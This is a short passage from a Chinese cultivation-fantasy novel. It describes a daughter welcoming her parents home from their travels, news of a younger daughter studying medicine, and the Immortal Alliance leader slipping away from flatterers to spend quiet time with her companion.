贺咏冲她摆了摆手,故作谦虚:“过奖过奖。”又跑到景雍面前问东问西,“爹爹和娘亲在外云游都遇上了哪些奇事,快跟我仔细说说。” 景雍跟她说起去过的两个地方与修真界的迥异之处,紧接着问起小女儿的情况。 小女儿贺巍后来醉心医术,得到了医仙谷谷主的真传,正四处行医历练。 两个女儿都有各自醉心的事业,贺流虹也就放手不再去管。 然而整个修真界都对云游归来的仙盟之主很是关注,不愿错过难得的机会,渴望得到修为早已登峰造极的仙盟之主的点拨,于是神月峰一日比一日热闹。 贺流虹这一趟是来见女儿的,无意应付别有用心之人的奉承讨好,所以见过女儿和贺小霓等亲友之后,很快又和小师叔一起隐匿,专心享受不被打扰的纯粹简单时光。